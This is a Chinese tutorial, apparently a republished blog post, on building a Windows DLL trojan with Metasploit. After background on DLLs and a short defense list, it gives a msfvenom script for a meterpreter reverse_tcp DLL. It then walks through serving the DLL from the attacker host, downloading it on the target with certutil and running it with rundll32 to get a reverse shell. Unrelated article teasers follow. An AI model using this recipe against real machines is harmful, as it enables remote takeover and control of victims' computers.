metasploit(2)生成dll木马

声明!本文章所有的工具分享仅仅只是供大家学习交流为主,切勿用于非法用途,如有任何触犯法律的行为,均与本人及团队无关!!!

一、dll文件基本概念

DLL 是一种包含可由多个程序同时使用的代码和数据的库。它允许程序在运行时动态地加载和使用其中的函数和资源,而不是将所有代码都静态地链接到可执行文件中。这样可以节省磁盘空间和内存,并且方便软件的更新和维护。

二、dll文件工作原理

1、静态链接 vs 动态链接

    静态链接:在编译时,将库文件中的代码和数据直接合并到可执行文件中。这样生成的可执行文件包含了所有必要的代码,但是文件体积较大,而且如果库文件更新,需要重新编译整个程序。动态链接:在运行时,程序才会去加载所需的 DLL 文件,并将其中的函数和资源映射到自己的地址空间中。多个程序可以共享同一个 DLL 文件,减少了内存的占用。

2、 加载过程

    当程序启动时,如果需要使用某个 DLL,操作系统会检查该 DLL 是否已经加载到内存中。如果 DLL 未加载,操作系统会将其加载到内存中,并为其分配一个基地址。程序通过 DLL 的导出表找到所需的函数和变量,并调用它们。

三、DLL文件的优点

节省磁盘空间和内存:多个程序可以共享同一个 DLL 文件,避免了代码的重复存储和加载。
易于更新和维护:如果 DLL 文件中的代码需要更新,只需要替换 DLL 文件即可,不需要重新编译整个程序。
模块化开发:将不同的功能封装在不同的 DLL 文件中,便于团队协作开发和代码的复用。

四、dll文件的缺点

版本兼容性问题:如果 DLL 文件的版本发生变化,可能会导致与使用该 DLL 的程序不兼容。
依赖管理复杂:程序可能依赖多个 DLL 文件,这些 DLL 文件之间也可能存在依赖关系,管理起来比较复杂。
安全性风险:恶意软件可以通过替换或注入 DLL 文件来执行恶意代码。

五、DLL 文件在渗透测试中的应用

1、反弹 Shell

如之前脚本中所示,使用 msfvenom 工具生成包含反弹 Shell 功能的 DLL 文件,然后在目标主机上执行该 DLL 文件,与攻击主机建立反向连接,从而获得目标主机的控制权。

2、权限提升

通过注入 DLL 文件到具有高权限的进程中,利用该进程的权限执行恶意代码,实现权限提升。

六、常见的 DLL 操作命令

rundll32:用于运行 DLL 文件中的指定函数。例如:rundll32 example.dll,FunctionName
regsvr32:用于注册和注销 DLL 文件。例如:regsvr32 example.dll 注册 DLL,regsvr32 /u example.dll 注销 DLL

七、安全防护措施

数字签名验证:确保 DLL 文件来自可信的发布者,通过验证数字签名来防止恶意 DLL 文件的加载。
白名单机制:只允许加载系统中预先定义的白名单中的 DLL 文件,禁止加载未知来源的 DLL 文件。
实时监控:使用杀毒软件和入侵检测系统实时监控 DLL 文件的加载和执行情况,及时发现和阻止恶意行为。

八、msf生成dll木马

1、创建dll生成脚本

vim msf_dll.sh#!/bin/baship=192.168.60.128
port=4444
arch=x86
platform=windows
format=dll
payload=windows/meterpreter/reverse_tcp# use exploit/multi/handlerout=$HOME/Desktop/a.dllmsfvenom -p $payload LHOST=$ip LPORT=$port -f $format  -a $arch --platform $platform -o $out

2、执行脚本创建dll木马

chmod +x msf_dll.sh
./msf_dll.sh

九、windows运行dll木马

1、攻击机创建http微服务

python -m http.server 8008

2、攻击机建立监听

nc -lvvp 4444 

3、windows下载dll木马

certutil -urlcache -split -f "http://192.168.60.128:8008/a.dll" a.dll

4、windows靶机执行dll木马

rundll32 D:\a.dll,DllMain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/76758.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

5V 1A充电标准的由来与技术演进——从USB诞生到智能手机时代的电力革命

点击下面图片带您领略全新的嵌入式学习路线 🔥爆款热榜 88万阅读 1.6万收藏 一、起源:USB标准与早期电力传输需求 1. USB的诞生背景 1996年,由英特尔、微软、IBM等公司组成的USB-IF(USB Implementers Forum)发布了…

使用Python设置excel单元格的字体(font值)

一、前言 通过使用Python的openpyxl库,来操作excel单元格,设置单元格的字体,也就是font值。 把学习的过程分享给大家。大佬勿喷! 二、程序展示 1、新建excel import openpyxl from openpyxl.styles import Font wb openpyxl.…

【设计模式】深入解析代理模式(委托模式):代理模式思想、静态模式和动态模式定义与区别、静态代理模式代码实现

代理模式 代理模式,也叫委托模式。 Spring AOP 是基于动态代理来实现 AOP 的 定义 为其他对象提供一种代理 以控制对这个对象的访问。它的作用就是通过提供一个代理类,让我们在调用目标方法的时候,不再是直接对目标方法进行调用,而…

利用java语言,怎样开发和利用各种开源库和内部/自定义框架,实现“提取-转换-加载”(ETL)流程的自动化

一、ETL 架构设计的核心要素​ 在企业级数据处理场景中,ETL(Extract-Transform-Load)流程自动化是数据仓库、数据湖建设的核心环节。基于 Java 生态的技术栈,我们可以构建分层解耦的 ETL 架构,主要包含以下四层结构&am…

2023蓝帽杯初赛内存取证-8

也是用到pslist模块,加上grep过滤”chrome“即可: vol.py --plugin/opt/volatility/plugins -f memdump.mem --profile Win7SP1x64 pslist | grep "chrome" 第一个是PID,第二个是PPID,第三个是线程数,第四个…

【C语言】动态内存的常见错误

前言&#xff1a; 在上章节中讲解了动态内存的概念和管理的核心函数。 在本章节继续为大家介绍动态内存的常见错误&#xff0c;让大家更好的理解运用。 补充&#xff1a;使用内存函数需要头文件<stdlib.h> 对NULL指针的解引用操作 当使用malloc、calloc或realloc等函…

uniapp-x 二维码生成

支持X&#xff0c;二维码生成&#xff0c;支持微信小程序&#xff0c;android&#xff0c;ios&#xff0c;网页 - DCloud 插件市场 免费的单纯用爱发电的

Linux内核之文件驱动随笔

前言 近期需要实现linux系统文件防护功能&#xff0c;故此调研了些许知识&#xff0c;如何实现文件防护功能从而实现针对文件目录防护功能。当被保护的目录&#xff0c;禁止增删改操作。通过内核层面实现相关功能&#xff0c;另外在通过跟应用层面交互从而实现具体的业务功能。…

利用大模型实现地理领域文档中英文自动化翻译

一、 背景描述 在跨国性企业日常经营过程中&#xff0c;经常会遇到专业性较强的文档翻译的需求&#xff0c;例如法律文书、商务合同、技术文档等&#xff1b;以往遇到此类场景&#xff0c;企业内部往往需要指派专人投入数小时甚至数天来整理和翻译&#xff0c;效率低下&#x…

鸿蒙Flutter仓库停止更新?

停止更新 熟悉 Flutter 鸿蒙开发的小伙伴应该知道&#xff0c;Flutter 3.7.12 鸿蒙化 SDK 已经在开源鸿蒙社区发布快一年了&#xff0c; Flutter 3.22.x 的鸿蒙化适配一直由鸿蒙突击队仓库提供&#xff0c;最近有小伙伴反馈已经 2 个多月没有停止更新了&#xff0c;不少人以为停…

(七)深入了解AVFoundation-采集:采集系统架构与 AVCaptureSession 全面梳理

引言 在 iOS 开发中&#xff0c;AVFoundation 是构建音视频功能的强大底层框架。而在音视频功能中&#xff0c;“采集”往往是最基础也是最关键的一环。从摄像头捕捉图形、到麦克风获取声音&#xff0c;构建一条高效且稳定的采集链是开发高质量音视频应用的前提。 本系列将逐…

QML ShaderEffect(着色器效果)组件

ShaderEffect 是 QML 中用于实现自定义着色器效果的组件&#xff0c;允许开发者使用 GLSL 着色器语言创建图形效果。 核心属性 基本属性 属性类型默认值说明fragmentShaderstring""片段着色器代码vertexShaderstring""顶点着色器代码blendingbooltrue是…

基于javaweb的SSM教材征订与发放管理系统设计与实现(源码+文档+部署讲解)

技术范围&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。 主要内容&#xff1a;免费功能设计、开题报告、任务书、中期检查PPT、系统功能实现、代码编写、论文编写和辅导、论文…

大模型学习笔记------Llama 3模型架构之分组查询注意力(GQA)

大模型学习笔记------Llama 3模型架构之分组查询注意力&#xff08;GQA&#xff09; 1、分组查询注意力&#xff08;GQA&#xff09;的动机2、 多头注意力&#xff08;Multi-Head Attention, MHA&#xff09;3、 多查询注意力 (Multi-Query Attention&#xff0c;MQA)4、 分组查…

matlab 环形单层柱状图

matlab 环形单层柱状图 matlab 环形单层柱状图 matlab 环形单层柱状图 图片 图片 【图片来源粉丝】 我给他的思路是&#xff1a;直接使用风玫瑰图可以画出。 rose_bar 本次我的更新和这个有些不同&#xff01;是环形柱状图&#xff0c;可调节细节多&#xff1b; 只需要函数…

Docker--Docker网络原理

虚拟网卡 虚拟网卡&#xff08;Virtual Network Interface&#xff0c;简称vNIC&#xff09; 是一种在软件层面模拟的网卡设备&#xff0c;不依赖于物理硬件&#xff0c;而是通过操作系统或虚拟化技术实现网络通信功能。它允许计算机在虚拟环境中模拟物理网卡的行为&#xff0…

linux基础14--dns和web+dns

DNS&#xff1a;域名系统&#xff08;Domain Name System&#xff09; DNS协议是用来将域名转换为IP地址或将IP地址转换为相应的域名 DNS使用TCP和UDP端口53&#xff0c;给用户提供解析时一般使用UDP53 对于每一级域名长度的限制是63个字符&#xff0c;域名总长度则不能超过2…

C++抽象基类定义与使用

在 C 中&#xff0c;抽象基类&#xff08;Abstract Base Class, ABC&#xff09; 是一种特殊的类&#xff0c;用于定义接口规范和约束派生类的行为。它通过纯虚函数&#xff08;Pure Virtual Function&#xff09;强制要求派生类实现特定功能&#xff0c;自身不能被实例化。以下…

用selenium4 webdriver + java 搭建并完成第一个自动化测试脚本

自动化测试任务&#xff1a; 百度搜索自己的姓名。点击第一个链接&#xff08;或者第二个&#xff09;&#xff0c;在新的页面上&#xff0c;添加断言&#xff0c;验证你的名字是否存在。 实验资料百度网盘下载路径&#xff1a; 链接: https://pan.baidu.com/s/1nVlHX_ivres…

LLM大模型中的基础数学工具—— 约束优化

Q26: 推导拉格朗日乘子法 的 KKT 条件 拉格朗日乘子法与 KKT 条件是啥&#xff1f; 拉格朗日乘子法是解决约束优化问题的利器。比如&#xff0c;想最小化函数 &#xff0c;同时满足约束 &#xff0c;就构造拉格朗日函数 &#xff08; 是乘子&#xff09;。KKT 条件是解这类问…